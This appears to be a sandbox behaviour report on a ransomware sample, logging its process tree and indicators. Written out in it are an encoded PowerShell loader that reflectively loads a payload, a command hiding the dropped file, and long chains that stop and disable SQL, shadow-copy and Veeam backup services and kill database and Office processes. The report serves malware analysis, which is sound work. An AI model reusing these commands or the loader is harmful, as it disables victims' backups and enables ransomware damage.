Token: SeDebugPrivilege	5856	taskkill.exe
Token: SeDebugPrivilege	5728	taskkill.exe
Token: SeDebugPrivilege	3104	taskkill.exe
Token: SeDebugPrivilege	1052	taskkill.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1704 wrote to memory of 4876	1704	cmd.exe	88
PID 1704 wrote to memory of 4876	1704	cmd.exe	88
PID 1704 wrote to memory of 4960	1704	cmd.exe	90
PID 1704 wrote to memory of 4960	1704	cmd.exe	90
PID 1704 wrote to memory of 4960	1704	cmd.exe	90
PID 4960 wrote to memory of 4132	4960	3B8A2BCD9E8DD805793CC95C74D30F20EBC5714EA249D165AFAC29D1F3B0ACE0.bat.exe	92
PID 4960 wrote to memory of 4132	4960	3B8A2BCD9E8DD805793CC95C74D30F20EBC5714EA249D165AFAC29D1F3B0ACE0.bat.exe	92
PID 4960 wrote to memory of 4132	4960	3B8A2BCD9E8DD805793CC95C74D30F20EBC5714EA249D165AFAC29D1F3B0ACE0.bat.exe	92
PID 4960 wrote to memory of 1120	4960	3B8A2BCD9E8DD805793CC95C74D30F20EBC5714EA249D165AFAC29D1F3B0ACE0.bat.exe	94
PID 4960 wrote to memory of 1120	4960	3B8A2BCD9E8DD805793CC95C74D30F20EBC5714EA249D165AFAC29D1F3B0ACE0.bat.exe	94
PID 4960 wrote to memory of 1120	4960	3B8A2BCD9E8DD805793CC95C74D30F20EBC5714EA249D165AFAC29D1F3B0ACE0.bat.exe	94
PID 4960 wrote to memory of 1876	4960	3B8A2BCD9E8DD805793CC95C74D30F20EBC5714EA249D165AFAC29D1F3B0ACE0.bat.exe	96
PID 4960 wrote to memory of 1876	4960	3B8A2BCD9E8DD805793CC95C74D30F20EBC5714EA249D165AFAC29D1F3B0ACE0.bat.exe	96
PID 4960 wrote to memory of 1876	4960	3B8A2BCD9E8DD805793CC95C74D30F20EBC5714EA249D165AFAC29D1F3B0ACE0.bat.exe	96
PID 4960 wrote to memory of 1876	4960	3B8A2BCD9E8DD805793CC95C74D30F20EBC5714EA249D165AFAC29D1F3B0ACE0.bat.exe	96
PID 4960 wrote to memory of 1876	4960	3B8A2BCD9E8DD805793CC95C74D30F20EBC5714EA249D165AFAC29D1F3B0ACE0.bat.exe	96
PID 4960 wrote to memory of 1876	4960	3B8A2BCD9E8DD805793CC95C74D30F20EBC5714EA249D165AFAC29D1F3B0ACE0.bat.exe	96
PID 4960 wrote to memory of 1876	4960	3B8A2BCD9E8DD805793CC95C74D30F20EBC5714EA249D165AFAC29D1F3B0ACE0.bat.exe	96
PID 4960 wrote to memory of 1876	4960	3B8A2BCD9E8DD805793CC95C74D30F20EBC5714EA249D165AFAC29D1F3B0ACE0.bat.exe	96
PID 4960 wrote to memory of 1876	4960	3B8A2BCD9E8DD805793CC95C74D30F20EBC5714EA249D165AFAC29D1F3B0ACE0.bat.exe	96
PID 4960 wrote to memory of 1876	4960	3B8A2BCD9E8DD805793CC95C74D30F20EBC5714EA249D165AFAC29D1F3B0ACE0.bat.exe	96
PID 1876 wrote to memory of 4628	1876	MSBuild.exe	362
PID 1876 wrote to memory of 4628	1876	MSBuild.exe	362
PID 1876 wrote to memory of 3068	1876	MSBuild.exe	98
PID 1876 wrote to memory of 3068	1876	MSBuild.exe	98
PID 1876 wrote to memory of 3068	1876	MSBuild.exe	98
PID 1876 wrote to memory of 5072	1876	MSBuild.exe	101
PID 1876 wrote to memory of 5072	1876	MSBuild.exe	101
PID 1876 wrote to memory of 5072	1876	MSBuild.exe	101
PID 1120 wrote to memory of 2000	1120	cmd.exe	103
PID 1120 wrote to memory of 2000	1120	cmd.exe	103
PID 1120 wrote to memory of 2000	1120	cmd.exe	103
PID 1876 wrote to memory of 1420	1876	MSBuild.exe	105
PID 1876 wrote to memory of 1420	1876	MSBuild.exe	105
PID 1876 wrote to memory of 1420	1876	MSBuild.exe	105
PID 1120 wrote to memory of 3976	1120	cmd.exe	107
PID 1120 wrote to memory of 3976	1120	cmd.exe	107
PID 1120 wrote to memory of 3976	1120	cmd.exe	107
PID 3068 wrote to memory of 736	3068	cmd.exe	142
PID 3068 wrote to memory of 736	3068	cmd.exe	142
PID 3068 wrote to memory of 736	3068	cmd.exe	142
PID 1120 wrote to memory of 3624	1120	cmd.exe	111
PID 1120 wrote to memory of 3624	1120	cmd.exe	111
PID 1120 wrote to memory of 3624	1120	cmd.exe	111
PID 1120 wrote to memory of 3680	1120	cmd.exe	1056
PID 1120 wrote to memory of 3680	1120	cmd.exe	1056
PID 1120 wrote to memory of 3680	1120	cmd.exe	1056
PID 1120 wrote to memory of 1644	1120	cmd.exe	1148
PID 1120 wrote to memory of 1644	1120	cmd.exe	1148
PID 1120 wrote to memory of 1644	1120	cmd.exe	1148
PID 1120 wrote to memory of 3232	1120	cmd.exe	1044
PID 1120 wrote to memory of 3232	1120	cmd.exe	1044
PID 1120 wrote to memory of 3232	1120	cmd.exe	1044
PID 1120 wrote to memory of 5104	1120	cmd.exe	118
PID 1120 wrote to memory of 5104	1120	cmd.exe	118
PID 1120 wrote to memory of 5104	1120	cmd.exe	118
PID 1120 wrote to memory of 4608	1120	cmd.exe	121
PID 1120 wrote to memory of 4608	1120	cmd.exe	121
PID 1120 wrote to memory of 4608	1120	cmd.exe	121
PID 1120 wrote to memory of 5008	1120	cmd.exe	122
PID 1120 wrote to memory of 5008	1120	cmd.exe	122
PID 1120 wrote to memory of 5008	1120	cmd.exe	122
PID 1120 wrote to memory of 3388	1120	cmd.exe	123
PID 1120 wrote to memory of 3388	1120	cmd.exe	123

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

Views/modifies file attributes 1 TTPs 2 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
4876	attrib.exe
2884	attrib.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\3B8A2BCD9E8DD805793CC95C74D30F20EBC5714EA249D165AFAC29D1F3B0ACE0.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1704
- C:\Windows\system32\attrib.exe
  attrib +s +h C:\Users\Admin\AppData\Local\Temp\3B8A2BCD9E8DD805793CC95C74D30F20EBC5714EA249D165AFAC29D1F3B0ACE0.bat.exe
  2⤵
  - Sets file to hidden
  - Views/modifies file attributes
  PID:4876
- C:\Users\Admin\AppData\Local\Temp\3B8A2BCD9E8DD805793CC95C74D30F20EBC5714EA249D165AFAC29D1F3B0ACE0.bat.exe
  C:\Users\Admin\AppData\Local\Temp\3B8A2BCD9E8DD805793CC95C74D30F20EBC5714EA249D165AFAC29D1F3B0ACE0.bat.exe -wIn 1 -enC JABlAHgAZQAgAD0AIABbAFMAeQBzAHQAZQBtAC4ARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgBHAGUAdABDAHUAcgByAGUAbgB0AFAAcgBvAGMAZQBzAHMAKAApAC4ATQBhAGkAbgBNAG8AZAB1AGwAZQAuAEYAaQBsAGUATgBhAG0AZQA7ACAAJABsAGUAbgAgAD0AIAAkAGUAeABlAC4ATABlAG4AZwB0AGgAOwAkAGwAZQBuACAAPQAgACQAbABlAG4AIAAtACAANAA7ACQAVwBlAGIAVABpAHQAbABlACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAFMAdAByAGkAbgBnAEIAdQBpAGwAZABlAHIAOwAgAGYAbwByAGUAYQBjAGgAIAAoACQAbABpAG4AZQAgAGkAbgAgAFsAUwB5AHMAdABlAG0ALgBJAE8ALgBGAGkAbABlAF0AOgA6AFIAZQBhAGQATABpAG4AZQBzACgAJABlAHgAZQAuAFIAZQBtAG8AdgBlACgAJABsAGUAbgApACkAKQAgAHsAIABpAGYAIAAoACQAbABpAG4AZQAgAC0AbABpAGsAZQAgACcAKgAgAK4AKgAnACkAIAB7ACAAIAAkAFcAZQBiAFQAaQB0AGwAZQAuAEEAcABwAGUAbgBkACgAJABsAGkAbgBlAC4AUwBwAGwAaQB0ACgAJwCuACcAKQBbADEAXQApACAAfAAgAE8AdQB0AC0ATgB1AGwAbAB9ACAAfQA7ACAAJABiAHkAdABlAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAVwBlAGIAVABpAHQAbABlAC4AVABvAFMAdAByAGkAbgBnACgAKQApADsAJABpAG4AcAB1AHQAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AKAAgACwAIAAkAGIAeQB0AGUAcwAgACkAOwAkAG8AdQB0AHAAdQB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtADsAJABnAHoAaQBwAFMAdAByAGUAYQBtACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEcAegBpAHAAUwB0AHIAZQBhAG0AIAAkAGkAbgBwAHUAdAAsACAAKABbAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgBNAG8AZABlAF0AOgA6AEQAZQBjAG8AbQBwAHIAZQBzAHMAKQA7ACQAZwB6AGkAcABTAHQAcgBlAGEAbQAuAEMAbwBwAHkAVABvACgAIAAkAG8AdQB0AHAAdQB0ACAAKQA7ACQAZwB6AGkAcABTAHQAcgBlAGEAbQAuAEMAbABvAHMAZQAoACkAOwAkAGkAbgBwAHUAdAAuAEMAbABvAHMAZQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AIAAkAGIAeQB0AGUAcwAgAD0AIAAkAG8AdQB0AHAAdQB0AC4AVABvAEEAcgByAGEAeQAoACkAOwBbAEEAcgByAGEAeQBdADoAOgBSAGUAdgBlAHIAcwBlACgAJABiAHkAdABlAHMAKQA7ACAAJABhAHMAcwBlAG0AYgBsAHkAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZAAoACQAYgB5AHQAZQBzACkAOwAgACQAZQBuAHQAcgB5AFAAbwBpAG4AdABNAGUAdABoAG8AZAAgAD0AIAAkAGEAcwBzAGUAbQBiAGwAeQAuAEcAZQB0AFQAeQBwAGUAcwAoACkALgBXAGgAZQByAGUAKAB7ACAAJABfAC4ATgBhAG0AZQAgAC0AZQBxACAAJwBXAHIAZwB2AGcAcAByACcAIAB9ACwAIAAnAEYAaQByAHMAdAAnACkALgBHAGUAdABNAGUAdABoAG8AZAAoACcATQBhAGkAbgAnACwAIABbAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBCAGkAbgBkAGkAbgBnAEYAbABhAGcAcwBdACAAJwBTAHQAYQB0AGkAYwAsACAAUAB1AGIAbABpAGMALAAgAE4AbwBuAFAAdQBiAGwAaQBjACcAKQA7ACAAJABlAG4AdAByAHkAUABvAGkAbgB0AE0AZQB0AGgAbwBkAC4ASQBuAHYAbwBrAGUAKAAkAG4AdQBsAGwALAAgACQAbgB1AGwAbAApACAAfAAgAE8AdQB0AC0ATgB1AGwAbAA=
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4960
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ENC cwB0AGEAcgB0AC0AcwBsAGUAZQBwACAALQBzAGUAYwBvAG4AZABzACAAMgAwAA==
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4132
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Bwmeldokiller.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1120
  - - C:\Windows\SysWOW64\cmd.exe
      cmd /c "color b & net stop "SQLSERVERAGENT" & net stop "SQLBrowser" & net stop "SQLTELEMETRY" & net stop "MsDtsServer130" & net stop "SSISTELEMETRY130" & net stop "SQLWrite" & net stop "MSSQL$VEEAMSQL2012" & net stop "SQLAgent$VEEAMSQL2012" & net stop "MSSQL" & net stop "SQLAgent" & net stop "MSSQLServerADHelper100" & net stop "MSSQLServerOLAPService" & net stop "MsDtsServer100" & net stop "ReportServer" & net stop "SQLTELEMETRY$HL" & net stop "TMBMServer" & net stop "MSSQL$PROGID" & net stop "MSSQL$WOLTERSKLUWER" & net stop "SQLAgent$PROGID" & net stop "SQLAgent$WOLTERSKLUWER" & net stop "MSSQLFDLauncher$OPTIMA" & net stop "MSSQL$OPTIMA" & net stop "SQLAgent$OPTIMA" & net stop "ReportServer$OPTIMA" & net stop "msftesql$SQLEXPRESS" & net stop "postgresql-x64-9.4" & sc config "MSSQLFDLauncher" start= disabled & sc config "SQLSERVERAGENT" start= disabled & sc config "SQLBrowser" start= disabled"
      4⤵
      PID:2000
    - - C:\Windows\SysWOW64\net.exe
        
        net stop "SQLSERVERAGENT"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:3652
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "SQLSERVERAGENT"
        6⤵
        
        PID:3768
    - - C:\Windows\SysWOW64\net.exe
        
        net stop "SQLBrowser"
        5⤵
        
        PID:3688
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "SQLBrowser"
        6⤵
        
        PID:5356
    - - C:\Windows\SysWOW64\net.exe
        
        net stop "SQLTELEMETRY"
        5⤵
        
        PID:2324
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "SQLTELEMETRY"
        6⤵
        
        PID:3992
    - - C:\Windows\SysWOW64\net.exe
        
        net stop "MsDtsServer130"
        5⤵
        
        PID:5712
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "MsDtsServer130"
        6⤵
        
        PID:2632
    - - C:\Windows\SysWOW64\net.exe
        
        net stop "SSISTELEMETRY130"
        5⤵
        
        PID:5228
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "SSISTELEMETRY130"
        6⤵
        
        PID:5432
    - - C:\Windows\SysWOW64\net.exe
        
        net stop "SQLWrite"
        5⤵
        
        PID:6052
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "SQLWrite"
        6⤵
        
        PID:4628
    - - C:\Windows\SysWOW64\net.exe
        
        net stop "MSSQL$VEEAMSQL2012"
        5⤵
        
        PID:3192
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "MSSQL$VEEAMSQL2012"
        6⤵
        
        PID:6072
    - - C:\Windows\SysWOW64\net.exe
        
        net stop "SQLAgent$VEEAMSQL2012"
        5⤵
        
        PID:5804
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "SQLAgent$VEEAMSQL2012"
        6⤵
        
        PID:4900
    - - C:\Windows\SysWOW64\net.exe
        
        net stop "MSSQL"
        5⤵
        
        PID:6180
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "MSSQL"
        6⤵
        
        PID:7900
    - - C:\Windows\SysWOW64\net.exe
        
        net stop "SQLAgent"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:6140
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "SQLAgent"
        6⤵
        
        PID:2856
    - - C:\Windows\SysWOW64\net.exe
        
        net stop "MSSQLServerADHelper100"
        5⤵
        
        PID:2600
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "MSSQLServerADHelper100"
        6⤵
        
        PID:6428
    - - C:\Windows\SysWOW64\net.exe
        
        net stop "MSSQLServerOLAPService"
        5⤵
        
        PID:7244
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "MSSQLServerOLAPService"
        6⤵
        
        PID:5880
    - - C:\Windows\SysWOW64\net.exe
        
        net stop "MsDtsServer100"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:7520
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "MsDtsServer100"
        6⤵
        
        PID:4656
    - - C:\Windows\SysWOW64\net.exe
        
        net stop "ReportServer"
        5⤵
        
        PID:5408
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "ReportServer"
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:8500
    - - C:\Windows\SysWOW64\net.exe
        
        net stop "SQLTELEMETRY$HL"
        5⤵
        
        PID:6736
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "SQLTELEMETRY$HL"
        6⤵
        
        PID:5684
    - - C:\Windows\SysWOW64\net.exe
        
        net stop "TMBMServer"
        5⤵
        
        PID:5520
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "TMBMServer"
        6⤵
        
        PID:6356
    - - C:\Windows\SysWOW64\net.exe
        
        net stop "MSSQL$PROGID"
        5⤵
        
        PID:5988
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "MSSQL$PROGID"
        6⤵
        
        PID:5756
    - - C:\Windows\SysWOW64\net.exe
        
        net stop "MSSQL$WOLTERSKLUWER"
        5⤵
        
        PID:5392
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "MSSQL$WOLTERSKLUWER"
        6⤵
        
        PID:8372
    - - C:\Windows\SysWOW64\net.exe
        
        net stop "SQLAgent$PROGID"
        5⤵
        
        PID:6492
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "SQLAgent$PROGID"
        6⤵
        
        PID:1996
    - - C:\Windows\SysWOW64\net.exe
        
        net stop "SQLAgent$WOLTERSKLUWER"
        5⤵
        
        PID:6096
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "SQLAgent$WOLTERSKLUWER"
        6⤵
        
        PID:6500
    - - C:\Windows\SysWOW64\net.exe
        
        net stop "MSSQLFDLauncher$OPTIMA"
        5⤵
        
        PID:6976
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "MSSQLFDLauncher$OPTIMA"
        6⤵
        
        PID:8560
    - - C:\Windows\SysWOW64\net.exe
        
        net stop "MSSQL$OPTIMA"
        5⤵
        
        PID:7820
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "MSSQL$OPTIMA"
        6⤵
        
        PID:8712
    - - C:\Windows\SysWOW64\net.exe
        
        net stop "SQLAgent$OPTIMA"
        5⤵
        
        PID:8120
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "SQLAgent$OPTIMA"
        6⤵
        
        PID:4816
    - - C:\Windows\SysWOW64\net.exe
        
        net stop "ReportServer$OPTIMA"
        5⤵
        
        PID:5408
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "ReportServer$OPTIMA"
        6⤵
        
        PID:8796
    - - C:\Windows\SysWOW64\net.exe
        
        net stop "msftesql$SQLEXPRESS"
        5⤵
        
        PID:7256
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "msftesql$SQLEXPRESS"
        6⤵
        
        PID:5216
    - - C:\Windows\SysWOW64\net.exe
        
        net stop "postgresql-x64-9.4"
        5⤵
        
        PID:2920
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "postgresql-x64-9.4"
        6⤵
        
        PID:3404
    - - C:\Windows\SysWOW64\sc.exe
        
        sc config "MSSQLFDLauncher" start= disabled
        5⤵
        Launches sc.exe
        
        PID:8808
    - - C:\Windows\SysWOW64\sc.exe
        
        sc config "SQLSERVERAGENT" start= disabled
        5⤵
        
        PID:9040
    - - C:\Windows\SysWOW64\sc.exe
        
        sc config "SQLBrowser" start= disabled
        5⤵
        
        PID:5668
  - - C:\Windows\SysWOW64\cmd.exe
      cmd /c "color b & sc config MSSQLSERVER start=disabled & sc config "SQL Server (MSSQLSERVER)" start=disabled & net stop MSSQL$ & sc config MSSQL$ start=disabled & net stop SQLSERVERAGENT & sc config SQLSERVERAGENT start=disabled & net stop SQLBrowser & sc config SQLBrowser start=disabled & net stop vss & sc config vss start=disabled & net stop SQLWriter & sc config SQLWriter start=disabled & net stop vmvss & sc config vmvss start=disabled & sc config MSSQL$FE_EXPRESS start= disabled & net stop MSSQL$RE_EXPRESS & net stop SQLANYs_Sage_FAS_Fixed_Assets & sc config SQLANYs_Sage_FAS_Fixed_Assets start=disabled & net stop MSSQL$VIM_SQLEXP & sc config MSSQL$VIM_SQLEXP start=disabled & net stop "MSSQLFDLauncher" & net stop "MSSQLSERVER""
      4⤵
      PID:3976
    - - C:\Windows\SysWOW64\sc.exe
        
        sc config MSSQLSERVER start=disabled
        5⤵
        
        PID:3656
    - - C:\Windows\SysWOW64\sc.exe
        
        sc config "SQL Server (MSSQLSERVER)" start=disabled
        5⤵
        
        PID:4752
    - - C:\Windows\SysWOW64\net.exe
        
        net stop MSSQL$
        5⤵
        
        PID:5740
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop MSSQL$
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:4688
    - - C:\Windows\SysWOW64\sc.exe
        
        sc config MSSQL$ start=disabled
        5⤵
        
        PID:5540
    - - C:\Windows\SysWOW64\net.exe
        
        net stop SQLSERVERAGENT
        5⤵
        
        PID:5892
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop SQLSERVERAGENT
        6⤵
        
        PID:4504
    - - C:\Windows\SysWOW64\sc.exe
        
        sc config SQLSERVERAGENT start=disabled
        5⤵
        
        PID:5168
    - - C:\Windows\SysWOW64\net.exe
        
        net stop SQLBrowser
        5⤵
        
        PID:5812
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop SQLBrowser
        6⤵
        
        PID:5896
    - - C:\Windows\SysWOW64\sc.exe
        
        sc config SQLBrowser start=disabled
        5⤵
        
        PID:5156
    - - C:\Windows\SysWOW64\net.exe
        
        net stop vss
        5⤵
        
        PID:6004
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop vss
        6⤵
        
        PID:4692
    - - C:\Windows\SysWOW64\sc.exe
        
        sc config vss start=disabled
        5⤵
        
        PID:8684
    - - C:\Windows\SysWOW64\net.exe
        
        net stop SQLWriter
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:6316
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop SQLWriter
        6⤵
        
        PID:7404
    - - C:\Windows\SysWOW64\sc.exe
        
        sc config SQLWriter start=disabled
        5⤵
        
        PID:3192
    - - C:\Windows\SysWOW64\net.exe
        
        net stop vmvss
        5⤵
        
        PID:8444
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop vmvss
        6⤵
        
        PID:6912
    - - C:\Windows\SysWOW64\sc.exe
        
        sc config vmvss start=disabled
        5⤵
        
        PID:6816
    - - C:\Windows\SysWOW64\sc.exe
        
        sc config MSSQL$FE_EXPRESS start= disabled
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:7388
    - - C:\Windows\SysWOW64\net.exe
        
        net stop MSSQL$RE_EXPRESS
        5⤵
        
        PID:5320
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop MSSQL$RE_EXPRESS
        6⤵
        
        PID:8492
    - - C:\Windows\SysWOW64\net.exe
        
        net stop SQLANYs_Sage_FAS_Fixed_Assets
        5⤵
        
        PID:4836
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop SQLANYs_Sage_FAS_Fixed_Assets
        6⤵
        
        PID:7676
    - - C:\Windows\SysWOW64\sc.exe
        
        sc config SQLANYs_Sage_FAS_Fixed_Assets start=disabled
        5⤵
        
        PID:2856
    - - C:\Windows\SysWOW64\net.exe
        
        net stop MSSQL$VIM_SQLEXP
        5⤵
        
        PID:5096
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop MSSQL$VIM_SQLEXP
        6⤵
        
        PID:2212
    - - C:\Windows\SysWOW64\sc.exe
        
        sc config MSSQL$VIM_SQLEXP start=disabled
        5⤵
        
        PID:5996
    - - C:\Windows\SysWOW64\net.exe
        
        net stop "MSSQLFDLauncher"
        5⤵
        
        PID:8160
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "MSSQLFDLauncher"
        6⤵
        
        PID:8520
    - - C:\Windows\SysWOW64\net.exe
        
        net stop "MSSQLSERVER"
        5⤵
        
        PID:5492
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "MSSQLSERVER"
        6⤵
        
        PID:5680
  - - C:\Windows\SysWOW64\cmd.exe
      cmd /c "color b & taskkill /F /IM Veeam.Backup.Agent.ConfigurationService.exe & taskkill /F /IM Veeam.Backup.BrokerService.exe & taskkill /F /IM Veeam.Backup.CatalogDataService.exe & taskkill /F /IM Veeam.Backup.CloudService.exe & taskkill /F /IM Veeam.Backup.Manager.exe & taskkill /F /IM Veeam.Backup.MountService.exe & taskkill /F /IM Veeam.Backup.Service.exe & taskkill /F /IM Veeam.Backup.WmiServer.exe & taskkill /F /IM Veeam.Guest.Interaction.Proxy.exe & taskkill /F /IM VeeamDeploymentSvc.exe & taskkill /F /IM VeeamNFSSvc.exe & taskkill /F /IM VeeamTransportSvc.exe & taskkill /F /IM sqlbrowser.exe & taskkill /F /IM sqlceip.exe & taskkill /F /IM sqlservr.exe & taskkill /F /IM sqlwriter.exe & taskkill /F /IM sqlagentc.exe & taskkill /F /IM ReportingServicesService.exe & taskkill /F /IM Ssms.exe & taskkill /F /IM fdhost.exe & taskkill /F /IM fdlauncher.exe & taskkill /F /IM MsDtsSrvr.exe & taskkill /F /IM msmdsrv.exe & taskkill /F /IM mysql.exe & taskkill /F /IM mysqld.exe & taskkill /F /IM w3wp.exe & taskkill /F /IM wsusservice.exe & taskkill /F /IM SageCSClient.exe & taskkill /F /IM UFSoft.U8.OC.QuartzScheduler.exe & taskkill /F /IM Launchpad.exe & taskkill /F /IM dbsrv12.exe & taskkill /F /IM EXCEL.EXE & taskkill /F /IM OUTLOOK.EXE & taskkill /F /IM WINWORD.EXE & taskkill /F /IM OneDrive.exe & taskkill /F /IM TaskService.exe"
      4⤵
      PID:3624
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM Veeam.Backup.Agent.ConfigurationService.exe
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:2524
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM Veeam.Backup.BrokerService.exe
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:1052
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM Veeam.Backup.CatalogDataService.exe
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:5856
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM Veeam.Backup.CloudService.exe
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:3768
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM Veeam.Backup.Manager.exe
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:5212
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM Veeam.Backup.MountService.exe
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:5728
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM Veeam.Backup.Service.exe
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:5728
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM Veeam.Backup.WmiServer.exe
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:5924
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM Veeam.Guest.Interaction.Proxy.exe
        5⤵
        
        PID:5980
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM VeeamDeploymentSvc.exe
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:7052
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM VeeamNFSSvc.exe
        5⤵
        Kills process with taskkill
        
        PID:5880
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM VeeamTransportSvc.exe
        5⤵
        
        PID:8728
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM sqlbrowser.exe
        5⤵
        
        PID:8116
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM sqlceip.exe
        5⤵
        
        PID:6960
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM sqlservr.exe
        5⤵
        
        PID:6332
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM sqlwriter.exe
        5⤵
        
        PID:7844
